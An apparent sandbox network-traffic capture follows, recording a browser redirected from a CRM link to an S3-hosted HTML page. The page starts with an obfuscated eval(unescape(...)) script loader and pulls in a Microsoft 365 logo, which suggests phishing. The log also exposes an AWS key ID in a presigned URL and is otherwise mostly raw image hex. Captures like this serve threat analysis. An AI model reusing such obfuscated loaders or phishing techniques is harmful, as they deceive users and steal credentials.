2025-02-21 09:24:51 UTC	694	OUT	GET /connect/a/-mkN4i0QR_JCQ-X-AHO6ZQ HTTP/1.1 Host: app.pipelinecrm.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:24:51 UTC	1107	IN	HTTP/1.1 302 Found Date: Fri, 21 Feb 2025 09:24:51 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close location: https://pipeline-live-userdata.s3.amazonaws.com/uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156ac Cache-Control: no-store x-robots-tag: noindex vary: Origin x-request-id: 662832c5-9e35-4331-9fa1-445ae72bf9e3 x-runtime: 0.130169 strict-transport-security: max-age=31556952; includeSubDomains; preload x-frame-options: DENY x-content-type-options: nosniff x-xss-protection: 1; mode=block x-download-options: noopen x-permitted-cross-domain-policies: none cf-cache-status: DYNAMIC Server-Timing: cfCacheStatus;desc="DYNAMIC" Server: cloudflare CF-RAY: 9155af8c58c74295-EWR
2025-02-21 09:24:51 UTC	262	IN	Data Raw: 34 30 34 0d 0a 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 59 6f 75 20 61 72 65 20 62 65 69 6e 67 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 69 70 65 6c 69 6e 65 2d 6c 69 76 65 2d 75 73 65 72 64 61 74 61 2e 73 33 2e 61 6d 61 7a 6f 6e 61 77 73 2e 63 6f 6d 2f 75 70 6c 6f 61 64 65 64 5f 64 6f 63 75 6d 65 6e 74 73 2f 66 62 35 39 66 37 35 38 2d 31 62 30 63 2d 34 37 62 32 2d 61 30 32 32 2d 65 66 65 37 36 37 63 65 31 38 33 38 2f 61 6c 69 73 73 6f 6e 66 69 6c 65 73 30 33 2e 68 74 6d 6c 3f 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 65 6e 74 2d 64 69 73 70 6f 73 69 74 69 6f 6e 3d 69 6e 6c 69 6e 65 26 61 6d 70 3b 72 65 73 70 6f 6e 73 65 2d 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3d 74 65 78 74 25 32 46 68 74 6d 6c 26 61 6d 70 3b 58 2d 41 6d 7a 2d 41 6c 67 6f 72 69 74 Data Ascii: 404<html><body>You are being <a href="https://pipeline-live-userdata.s3.amazonaws.com/uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorit
2025-02-21 09:24:51 UTC	773	IN	Data Raw: 2d 48 4d 41 43 2d 53 48 41 32 35 36 26 61 6d 70 3b 58 2d 41 6d 7a 2d 43 72 65 64 65 6e 74 69 61 6c 3d 41 4b 49 41 4a 55 45 49 45 57 53 59 48 45 59 34 5a 57 34 41 25 32 46 32 30 32 35 30 32 32 31 25 32 46 75 73 2d 65 61 73 74 2d 31 25 32 46 73 33 25 32 46 61 77 73 34 5f 72 65 71 75 65 73 74 26 61 6d 70 3b 58 2d 41 6d 7a 2d 44 61 74 65 3d 32 30 32 35 30 32 32 31 54 30 37 30 36 30 38 5a 26 61 6d 70 3b 58 2d 41 6d 7a 2d 45 78 70 69 72 65 73 3d 36 30 34 38 30 30 26 61 6d 70 3b 58 2d 41 6d 7a 2d 53 69 67 6e 65 64 48 65 61 64 65 72 73 3d 68 6f 73 74 26 61 6d 70 3b 58 2d 41 6d 7a 2d 53 69 67 6e 61 74 75 72 65 3d 62 32 63 30 30 37 62 30 31 66 34 36 64 35 33 39 65 64 39 65 63 31 64 36 36 65 37 63 61 63 32 61 65 66 65 39 39 34 31 31 64 33 61 37 66 32 38 39 35 34 36 Data Ascii: -HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f289546
2025-02-21 09:24:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:24:52 UTC	1096	OUT	GET /uploaded_documents/fb59f758-1b0c-47b2-a022-efe767ce1838/alissonfiles03.html?response-content-disposition=inline&response-content-type=text%2Fhtml&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAJUEIEWSYHEY4ZW4A%2F20250221%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250221T070608Z&X-Amz-Expires=604800&X-Amz-SignedHeaders=host&X-Amz-Signature=b2c007b01f46d539ed9ec1d66e7cac2aefe99411d3a7f2895463ed49c3e156ac HTTP/1.1 Host: pipeline-live-userdata.s3.amazonaws.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:24:52 UTC	443	IN	HTTP/1.1 200 OK x-amz-id-2: WHHJfLwtyUS5eBAt47BEkaghsM7E/bt8ulK0wD9n242N9iPq9eANHp0+zymfJKi0dp0ChfNKGZw= x-amz-request-id: TKR2ZG5B9TA8ER39 Date: Fri, 21 Feb 2025 09:24:53 GMT Last-Modified: Fri, 21 Feb 2025 07:05:05 GMT ETag: "1296fa26094b11a41b79ead935e803a6" x-amz-server-side-encryption: AES256 Content-Disposition: inline Accept-Ranges: bytes Content-Type: text/html Content-Length: 9355 Server: AmazonS3 Connection: close
2025-02-21 09:24:52 UTC	9355	IN	Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 21 2d 2d 20 0a 65 76 61 6c 28 75 6e 65 73 63 61 70 65 28 27 25 36 36 25 37 35 25 36 65 25 36 33 25 37 34 25 36 39 25 36 66 25 36 65 25 32 30 25 36 35 25 36 32 25 33 36 25 36 32 25 33 37 25 33 36 25 33 37 25 33 38 25 33 35 25 33 39 25 33 37 25 32 38 25 37 33 25 32 39 25 32 30 25 37 62 25 30 61 25 30 39 25 37 36 25 36 31 25 37 32 25 32 30 25 37 32 25 32 30 25 33 64 25 32 30 25 32 32 25 32 32 25 33 62 25 30 61 25 30 39 25 37 36 25 36 31 25 37 32 25 32 30 25 37 34 25 36 64 25 37 30 25 32 30 25 33 64 25 32 30 25 37 33 25 32 65 25 37 33 25 37 30 25 36 63 25 36 39 25 37 34 25 Data Ascii: <html><head></head><body><script type="text/javascript">... eval(unescape('%66%75%6e%63%74%69%6f%6e%20%65%62%36%62%37%36%37%38%35%39%37%28%73%29%20%7b%0a%09%76%61%72%20%72%20%3d%20%22%22%3b%0a%09%76%61%72%20%74%6d%70%20%3d%20%73%2e%73%70%6c%69%74%

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:24:53 UTC	639	OUT	GET /media/GJFrp1CWIAAXP_V?format=jpg&name=large HTTP/1.1 Host: pbs.twimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pipeline-live-userdata.s3.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:24:53 UTC	810	IN	HTTP/1.1 200 OK Date: Fri, 21 Feb 2025 09:24:53 GMT Content-Type: image/jpeg Content-Length: 20473 Connection: close CF-Ray: 9155af97ab9a0c8a-EWR CF-Cache-Status: HIT Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 427946 Cache-Control: public, max-age=604800 Expires: Fri, 28 Feb 2025 09:24:53 GMT Last-Modified: Wed, 20 Mar 2024 04:58:41 GMT Strict-Transport-Security: max-age=631138519 Vary: Accept-Encoding access-control-expose-headers: Content-Length perf: 7402827104 timing-allow-origin: https://twitter.com, https://mobile.twitter.com x-connection-hash: cb4f8ccf21617b5deef8771a8a5f45269ce2becf5569c157f8b49c1344776932 x-content-type-options: nosniff x-response-time: 169 x-transaction-id: c3ad947dcd62f8a1 x-tw-cdn: CF x-cache: HIT x-tw-cdn: CF Server: cloudflare
2025-02-21 09:24:53 UTC	559	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 18 00 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 07 ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 04 03 02 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f5 81 e3 a8 08 40 02 16 00 02 16 50 Data Ascii: JFIFC!"$"$C8"@P
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: 00 84 00 00 00 00 00 41 40 00 00 00 00 00 2c 15 05 00 00 00 00 15 05 0a 02 c1 52 80 00 00 00 04 d0 80 00 80 a0 08 00 04 a2 15 00 02 14 00 00 21 50 54 16 00 00 2c 55 00 20 00 00 02 c1 50 54 a0 50 20 00 00 00 20 14 00 25 24 b0 54 a2 c1 50 95 28 02 58 01 45 00 00 00 02 00 00 00 80 00 02 05 41 50 54 25 41 50 54 45 85 00 00 48 00 00 01 16 00 00 00 02 15 09 60 00 00 02 0b 05 41 52 80 00 00 00 00 00 00 00 00 15 05 4a 00 00 00 54 14 28 15 05 00 00 00 84 d0 00 80 a0 85 80 01 12 80 01 00 00 a0 10 54 15 05 00 20 00 00 02 c1 40 16 00 00 00 00 14 b2 80 12 a0 00 00 08 28 00 00 45 88 a0 00 20 00 00 15 50 54 15 05 00 00 80 00 00 20 00 00 04 51 00 08 00 00 00 96 05 80 a4 12 01 65 10 00 00 94 00 40 08 00 85 02 51 00 b0 54 16 00 00 00 02 c1 50 54 15 05 00 00 54 00 14 40 54 Data Ascii: A@,R!PT,U PTP %$TP(XEAPT%APTEH`ARJT(T @(E PT Qe@QTPTT@T
2025-02-21 09:24:53 UTC	1262	IN	Data Raw: 00 00 0a 20 00 00 08 b1 55 05 4a 00 08 00 00 00 00 02 a4 a0 94 40 00 28 08 00 00 08 54 00 95 00 00 00 00 00 02 04 00 40 00 09 44 51 16 00 02 00 95 10 50 40 00 00 96 00 00 00 00 00 00 00 00 b0 50 00 b0 54 a0 00 0a 40 2c 55 00 14 00 02 80 b2 90 8d 00 04 25 80 28 08 00 04 08 02 80 00 11 52 c5 11 44 50 00 58 00 00 02 00 14 02 c2 00 b1 55 29 40 00 00 80 00 05 08 00 01 40 80 00 05 4a 80 00 00 00 00 02 ca 80 00 85 00 b0 54 b2 10 54 01 41 20 00 00 00 00 00 00 04 48 a8 00 51 00 00 00 12 80 20 82 01 00 00 01 05 81 50 00 00 00 00 00 00 00 01 44 a0 00 00 54 a0 00 b5 28 00 0a 50 00 00 29 16 08 34 00 04 10 00 2c 00 00 25 90 00 28 00 00 00 00 00 00 00 05 81 01 40 00 08 00 b4 00 15 05 08 00 00 0a 80 00 14 08 00 00 00 b2 a0 02 14 85 41 40 00 20 0b 05 80 14 00 48 00 0b 28 Data Ascii: UJ@(T@DQP@PT@,U%(RDPXU)@@JTTA HQ PDT(P)4,%(@A@ H(
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: 80 05 04 50 00 00 00 00 00 20 00 0a 00 00 00 00 08 10 02 58 16 00 04 00 00 00 00 09 14 40 00 10 02 58 00 02 51 04 25 80 00 02 04 02 80 00 0b 28 04 58 2c 14 00 05 00 05 4a 00 05 4a 00 05 4b 51 60 b2 80 00 00 15 29 25 9e bb 00 02 58 00 05 40 0b 14 45 11 44 58 45 09 44 50 00 00 00 40 00 20 00 00 00 01 62 80 40 02 55 40 2a 00 b0 50 00 00 a0 50 00 02 00 00 01 0a 00 00 00 50 01 00 80 00 02 80 00 00 00 00 04 82 16 05 80 00 01 00 00 00 00 02 01 14 41 00 25 80 00 00 11 14 65 44 58 04 00 00 00 00 b0 50 01 0a 00 00 16 59 40 2c a0 00 2c a0 00 54 a0 12 80 01 68 00 8b 02 57 ae b0 00 a9 44 29 16 00 45 11 41 28 4a 20 00 00 00 00 01 00 00 00 00 01 60 a4 50 21 50 58 00 85 12 80 00 00 05 45 50 54 14 00 02 00 00 00 29 00 05 00 00 00 04 80 00 02 ca 00 00 00 00 00 48 20 00 00 Data Ascii: P X@XQ%(X,JJKQ`)%X@EDXEDP@ b@U@*PPPA%eDXPY@,,ThWD)EA(J `P!PXEPT)H
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: a8 00 00 00 48 05 0a 00 01 00 92 82 52 c0 04 00 00 00 0a 04 00 04 00 a4 10 58 0a 45 80 40 00 00 00 00 25 4b 14 45 80 00 00 01 40 20 00 b1 60 09 40 00 00 00 00 0b 28 15 16 00 50 00 00 50 19 1d 80 25 80 00 45 80 00 45 80 00 05 45 12 82 51 16 00 02 00 00 04 16 14 00 00 00 00 0b 05 4a 00 10 00 15 05 00 00 54 a5 41 40 10 00 00 00 b2 80 00 00 0b 00 b0 00 28 02 89 49 04 28 a0 00 00 40 00 00 84 0a 45 11 60 01 61 40 10 00 00 04 02 80 00 80 40 00 00 10 00 00 00 94 45 10 00 14 00 00 00 01 28 00 00 20 00 a0 80 28 00 15 2c aa 08 00 14 5a 94 60 76 80 25 80 00 45 80 00 25 11 55 14 45 80 00 80 20 00 00 51 00 00 00 00 00 02 00 00 0b 28 00 00 a0 0a 04 00 05 00 a0 40 00 00 00 0b 28 00 00 00 28 00 40 28 a0 20 10 45 0a 00 00 04 00 00 09 51 28 00 94 40 50 04 00 00 00 04 a0 00 Data Ascii: HRXE@%KE@ `@(PP%EEEQJTA@(I(@E`a@@E( (,Z`v%E%UE Q(@((@( EQ(@P
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: 00 00 00 40 14 00 00 00 4a 28 00 a4 00 42 ca a0 81 2a 51 28 00 12 80 94 00 2c 45 80 01 05 10 ab 04 00 10 00 00 00 00 4a 00 01 05 00 00 20 10 0a 29 14 45 11 44 05 08 00 11 44 00 0b 28 14 04 58 28 05 00 08 0a 08 14 00 00 00 06 06 ae 60 25 10 00 00 95 50 00 45 88 00 12 80 08 11 65 00 00 00 80 00 00 00 00 00 00 00 02 ca 00 2c 02 80 00 40 2d 00 02 81 00 00 00 01 00 54 a0 00 28 25 4a 00 0a 09 60 11 42 82 04 a0 00 10 0a 00 00 51 00 20 2c b0 00 2a 59 05 01 09 44 58 00 02 a0 12 80 2c 00 00 00 a9 50 00 00 00 00 85 00 00 00 08 04 52 82 00 14 00 00 05 00 00 01 60 00 00 00 18 1a b9 80 04 58 00 14 04 51 02 01 00 00 11 60 14 04 51 00 08 00 00 00 00 00 00 00 00 14 0a 04 00 0a 00 01 00 52 89 4a 00 40 00 00 00 40 0b 28 28 00 01 28 00 54 a2 58 04 2c aa 00 40 00 04 02 80 02 Data Ascii: @J(BQ(,EJ )EDD(X(`%PEe,@-T(%J`BQ ,YDX,PR`XQ`QRJ@@(((TX,@
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: a0 40 28 00 45 44 50 00 09 65 0a 00 16 25 85 00 20 01 40 00 a5 25 80 0a 58 02 50 00 50 00 64 6a e4 94 40 01 02 58 b5 00 04 51 2c 16 29 00 08 94 45 80 50 00 00 00 00 00 00 00 00 00 40 00 00 00 2d 4a 00 00 40 00 a0 8b 12 d4 a0 00 00 10 00 0b 05 00 01 28 00 15 10 00 2c aa 10 00 01 00 a0 00 00 40 01 2d 4a 00 10 00 01 00 45 2c 00 45 00 01 28 00 04 00 94 45 4b 00 02 c2 d4 b0 00 00 04 00 45 0a 00 08 14 00 00 80 a1 60 0a 02 50 02 81 60 00 00 14 00 19 1a b9 00 94 45 80 24 59 55 01 44 02 51 16 00 00 08 00 11 55 00 00 00 16 00 00 00 00 00 00 01 05 11 44 52 c5 12 80 40 05 11 44 52 c5 44 a0 00 05 11 51 14 45 00 2c 14 12 c4 a2 92 80 40 00 02 84 00 00 45 96 28 0b 28 04 a4 45 11 64 ab 05 4a 04 00 00 40 00 a0 01 15 04 a0 4a 00 01 00 00 12 80 94 45 2c 58 01 51 16 00 05 12 Data Ascii: @(EDPe% @%XPPdj@XQ,)EP@-J@(,@-JE,E(EKE`P`E$YUDQUDR@DRDQE,@E((EdJ@JE,XQ
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: e4 ef 2e 33 cb 0d 7f c0 08 20 82 0c 20 82 0c 20 82 78 e3 8f 3c d3 dd cf 3e ff 00 3e f0 f7 fb a0 82 58 d7 38 00 01 2c 20 80 00 00 00 00 c3 0b 0c 73 c3 08 03 0f 3d 3f 6f 8e 08 20 82 7b d9 79 55 de 6e f7 bb ff 00 fb 0f 0c 30 00 41 04 1d ef 08 10 41 04 10 14 a0 06 70 c3 4f 7a 1b e2 b7 8c 7f ff 00 fe bd 4e 38 e0 82 0c 20 82 0c 20 82 0b 2f bf ff 00 ff 00 69 5f 7e 3f fd 3f ef 09 2c 8e ff 00 59 40 43 cb 0c 73 c3 1c f2 80 04 30 00 30 03 cc 3c 30 00 10 f3 8c 77 f8 a0 82 ff 00 5e 45 f7 91 bf 9f df b4 73 cf 30 c2 c3 04 34 d3 5f 0c f3 01 04 10 56 a0 00 40 00 00 13 fb ac 97 8d 7f bf ff 00 df 7e fb ef be f6 c3 8e 38 e2 8a 28 25 bf e7 ff 00 f1 24 42 4f 1c f6 f3 98 23 86 70 90 3c b3 88 14 b3 0c 30 f3 cc 30 c3 01 00 00 04 04 c3 02 0c 74 d0 43 fb e3 82 df db 7d c4 0f 7f f7 Data Ascii: .3 x<>>X8, s=?o {yUn0AApOzN8 /i_~??,Y@Cs00<0w^Es04_V@~8(%$BO#p<00tC}
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: 3b ef 3c 73 cf 4d 00 0f 30 80 c3 0a 01 4f 38 30 81 31 34 52 c1 53 0d 7d f6 90 43 0c 10 41 15 df 7c ff 00 ff 00 79 01 cf bf fb ef be c2 e2 02 0c 30 c3 5b b0 c3 5f 80 00 05 ef be f3 cf 7c 80 05 3e 08 3f cf 7f fb c3 0c 30 03 1f f0 42 40 0d 3c 01 6b 00 07 df 3c 30 2c 86 30 80 30 fb ca 8e 4d af 3c 20 00 08 01 00 12 b1 8d 3c cf 45 2c 05 9d 49 5f db 4c 42 50 41 14 d3 7d f3 ef fd ff 00 df 00 53 ef fe fb ef 39 00 2c 8f 0c 30 c2 fc 30 c3 f0 00 00 fb ef 3c f3 cf 3d 03 cf 38 00 68 ff 00 ff 00 ff 00 ef 0c 32 07 7f fa 41 00 46 00 01 0f 28 30 13 30 c0 00 00 43 0f 0c 73 8f 18 b0 bd 7c f0 80 20 00 0b 80 02 c7 34 09 70 82 12 00 41 87 1f 7f fd 7f 7d ff 00 ff 00 ff 00 f7 df 7d f3 cc 0c ff 00 ff 00 be fb de 80 08 20 e3 4d 73 1d ac 30 4c a0 00 15 f3 cf 3c f3 ce 24 12 44 0c f3 Data Ascii: ;<sM0O8014RS}CA\|y0[_\|>?0B@<k<0,00M< <E,I_LBPA}S9,00<=8h2AF(00Cs\| 4pA}} Ms0L<$D
2025-02-21 09:24:53 UTC	1369	IN	Data Raw: 10 f3 cf 20 13 cf 3e f3 87 3d b0 6f be 0c ef be fb eb 8c 24 b0 c1 34 11 4d 3c 10 7d 04 30 c3 0c 30 c3 0f 33 c3 0c 36 75 3c 3a c3 ce 30 c3 57 df 5d f7 d2 53 00 05 00 01 40 00 01 cf 3c f2 cf 3c fb ac f3 d7 df 3c f3 cf 3c c3 0c 30 3f 3e 7d e4 10 00 1b c8 00 01 ce 30 41 4c a3 7b 8a 04 f3 cf 3e f8 4f 6d f3 ef bf 6f ef be fb ef 3c f3 ee b0 37 5f be f0 00 30 fe f3 c3 0c 30 c3 2f 1c ed 34 92 51 d7 90 c3 4f f3 ce 4f 5f 5c f3 c0 01 08 24 82 09 61 8e 3b ef f3 cc 31 49 30 c1 1c e3 0c 20 00 20 82 08 63 fe fb e3 b6 08 20 86 f8 00 00 43 cb 00 00 10 5d ec 28 10 f3 cf 3c f3 d9 3c e1 2f ff 00 f7 ef be fb ef 3c f3 ef 3d e4 6e 3c b0 c2 8a 08 20 b2 c3 2c ac 30 20 c2 09 e2 82 0f 6f 8c 27 7f fe 7a e3 b8 f3 c0 00 00 05 05 35 9d 70 90 00 00 53 8c 34 f0 88 00 08 20 83 0c 10 45 fb Data Ascii: >=o$4M<}0036u<:0W]S@<<<<0?>}0AL{>Omo<7_00/4QOO_\$a;1I0 c C](<</<=n< ,0 o'z5pS4 E

Timestamp	Bytes transferred	Direction	Data
2025-02-21 09:24:53 UTC	643	OUT	GET /wp-content/uploads/2023/02/logo_microsoft365.png HTTP/1.1 Host: circyl.co.uk Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pipeline-live-userdata.s3.amazonaws.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-02-21 09:24:53 UTC	489	IN	HTTP/1.1 200 OK Connection: close cache-control: private expires: Sat, 21 Feb 2026 09:24:53 GMT content-type: image/webp last-modified: Mon, 27 Jan 2025 08:26:22 GMT accept-ranges: bytes content-length: 20396 date: Fri, 21 Feb 2025 09:24:53 GMT server: LiteSpeed vary: User-Agent,User-Agent,Accept alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2025-02-21 09:24:53 UTC	879	IN	Data Raw: 52 49 46 46 a4 4f 00 00 57 45 42 50 56 50 38 58 0a 00 00 00 10 00 00 00 49 04 00 2b 01 00 41 4c 50 48 2c 20 00 00 01 ff 43 90 6d b3 fd fe e4 13 88 98 ff e4 d4 37 35 85 61 db b6 91 2c 65 ff 9d 93 f6 5e 74 81 88 fe a7 3c 86 f7 f0 21 3c 86 27 37 ff e5 57 b5 8c c3 c1 1a ae 0e a7 aa 79 b2 39 63 f1 2c bf e5 53 c9 b2 ab d9 32 41 c6 f0 2d c8 8b 4c b1 6c da 6a 46 26 6c c3 0e 2d 2d f7 d0 91 25 23 1d 99 62 c9 aa 66 64 c2 36 86 09 97 70 0b 1d 99 d0 61 45 a6 58 b2 aa 19 99 b0 62 88 74 08 13 46 26 c4 34 4b 3a 18 2e c5 b2 99 92 91 89 4c 0c a1 0d 23 2b 84 0e 31 cd c8 36 36 ab d8 36 d5 2c 99 c8 c4 d8 4c 78 31 f2 a5 9a 6d 17 5b ce 58 3c cb a1 6a 1e 1c 4e 59 cd c5 e1 a4 d5 8c cd e9 72 f1 2f 7c 08 8f e1 43 f8 19 de 68 5c db b6 37 ba 1e 0c 16 8b 17 0e 06 8b b7 0d 06 8b 37 06 Data Ascii: RIFFOWEBPVP8XI+ALPH, Cm75a,e^t<!<'7Wy9c,S2A-LljF&l--%#bfd6paEXbtF&4K:.L#+1666,Lx1m[X<jNYr/\|Ch\77
2025-02-21 09:24:53 UTC	14994	IN	Data Raw: ce 97 31 62 73 14 e3 6b 7a 8f 1d d9 2f 9d 58 5e f7 37 4c 79 b2 1b bb eb ff 83 31 af bb b1 ba f9 02 e6 ac ec c3 e6 ba ff 61 d0 ab 3d 58 dc 60 01 93 96 2b d8 5b 77 1e a3 16 ba b1 b6 e0 00 b3 6e b4 63 6b d5 2f 31 ec 1e b6 76 03 cb 1a 07 b1 b4 fe 0a a6 ad ec c5 ce 82 22 c6 3d 6f c7 ca 32 97 b1 ae 71 11 2b 9b 2a 62 de 6a 17 46 b6 8f 81 b7 b1 b1 55 4c 3c 84 85 d5 9f 60 e2 d3 36 0c ec 0a 36 6e 1e c1 be 6a f6 30 f2 8f 76 cc eb 1c 56 36 8e 61 5e c7 98 f9 10 eb 1a c0 ce 7a 2f c6 f5 2b 86 d6 f8 db 22 ed 55 3f 83 3f b7 5e 75 c3 5f ad 77 0b 43 d3 32 7f 4f ec 17 27 17 fe 68 17 73 4b 57 07 f8 38 6f 92 f1 97 1d ea 9c 2a fe 68 bf e7 a6 5e e3 23 9c db e0 cf a8 09 7f d4 ca a3 7c 41 f1 37 eb 99 c9 4d 7d d9 c1 47 77 1b fc 1e 1b fe a4 d5 f5 5c a2 f8 9b 8d c4 fc a5 6e 7c ca c7 Data Ascii: 1bskz/X^7Ly1a=X`+[wnck/1v"=o2q+bjFUL<`66nj0vV6a^z/+"U??^u_wC2O'hsKW8oh^#\|A7M}Gw\n\|
2025-02-21 09:24:53 UTC	4523	IN	Data Raw: 4b 3f 29 aa b1 78 b3 61 0c b1 1a fb b1 25 8d bb 3f 2f 83 0c a0 68 49 b1 8e 02 39 65 46 73 35 0d a8 09 c3 27 7a 60 9e 5a 0e 97 84 25 2d fb 3b 74 60 ea 44 b5 89 75 84 c9 ac 6a 73 ec 0a 03 b6 f2 77 38 86 8a 0f 32 0c da 0d ec a7 c5 9c c0 94 c5 1c 26 28 d5 dc 67 e0 28 7e 8d c9 7f ee db b2 44 c7 d8 f2 db fb 5d c4 2d c9 5f 9c b2 b8 4c 37 70 21 fe 31 f9 61 74 01 81 ef 0a e1 e6 75 2c 37 66 b4 da 2a e5 f6 d7 ab b1 0b 37 03 bf 8b aa 1a a6 65 9d cb 54 04 bf cf 65 eb d7 96 38 13 a9 fc f1 c1 8c a9 b7 d9 98 8d 99 6e dd 1b fc e8 e7 05 ae 3f 0e 71 2b a2 5e 8d bf fb 07 f4 e6 ce 00 dd 1d c0 d4 3f 35 0b a9 24 8d 92 30 ba 6a 7d 29 69 a2 8f 4c d3 ab c1 58 7a 0b b0 ed 63 07 f7 47 c8 82 4a f1 03 6f 05 00 51 55 84 f9 2f 2a ae a4 c5 26 d2 4d df 36 93 28 7c ed 25 f1 eb 0b ec 06 08 Data Ascii: K?)xa%?/hI9eFs5'z`Z%-;t`Dujsw82&(g(~D]-_L7p!1atu,7f7eTe8n?q+^?5$0j})iLXzcGJoQU/&M6(\|%

Timestamp	Bytes transferred	Direction	Data
